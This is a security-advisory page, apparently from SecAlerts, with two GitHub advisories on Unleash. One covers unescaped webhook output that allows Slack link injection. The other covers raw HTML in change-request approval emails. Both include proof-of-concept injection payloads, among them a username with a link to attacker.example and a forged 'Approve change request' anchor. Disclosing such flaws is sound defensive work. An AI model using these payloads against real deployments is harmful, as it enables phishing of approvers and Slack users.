ts const renderConfig = { escape: (text: string) => text }; const text = Mustache.render(action, context, undefined, renderConfig); const url = path ? ${this.unleashUrl}${Mustache.render(path, context, undefined, renderConfig)} : undefined;

Verification Dynamically confirmed on v8.0.1 in a local Docker lab (official unleashorg/unleash-server:8.0.1 image + Postgres 15): - Created a Webhook addon with the addon UI's own placeholder bodyTemplate ({{event.createdBy}} etc.), pointed at a local listener. - Created an Editor-role user with username = evil2<https://attacker.example/urgent-rollback|Click here to view incident> (accepted with HTTP 201, no sanitization). - Logged in as that user and created a feature flag (ordinary Editor action). - Captured webhook payload: "createdBy": "evil2<https://attacker.example/urgent-rollback|Click here to view incident>" — <, >, | completely unescaped, live Slack link-injection syntax. - Control test with the same pinned mustache@4.2.0 package confirmed the default (pre-bug) output for the same string would have been evil2&lt;https:&#x2F;&#x2F;attacker.example&#x2F;urgent-rollback|Click here to view incident&gt; — i.e. the single global assignment is solely responsible for the unescaped output observed live.

1 / 2
Source: GitHub
First published (updated )
Severity
2.1
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The change-request approval HTML email template renders fields as raw HTML. User who can create a change request can inject HTML into approval notification emails. I was not able to confirm Enterprise platform is using vulnerable code nor that it doesn't sanitize input.

Details src/mailtemplates/requested-cr-approval/requested-cr-approval.html.mustache uses Mustache triple-stash syntax for fields that can originate from users:

mustache {{{ changeRequestTitle }}} {{{ requesterName }}} {{{ requesterEmail }}} {{{ changeRequestLink }}}

Triple-stash disables HTML escaping even when Mustache's global escape function is safe. The related renderer is sendRequestedCRApprovalEmail in src/lib/services/email-service.ts, which renders the template with Mustache.render.

PoC 1. Use an Enterprise deployment with change requests and approval emails enabled. 2. As a project member who can create change requests, set a display name or change-request title to HTML such as:

html </a><a href="https://example.com">Approve change request</a>

3. Create a change request that requires approval. 4. Observe that the approval email contains attacker-controlled raw HTML instead of escaped text.

Impact Change-request approvers can receive forged links, tracking pixels, or visually altered email content.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203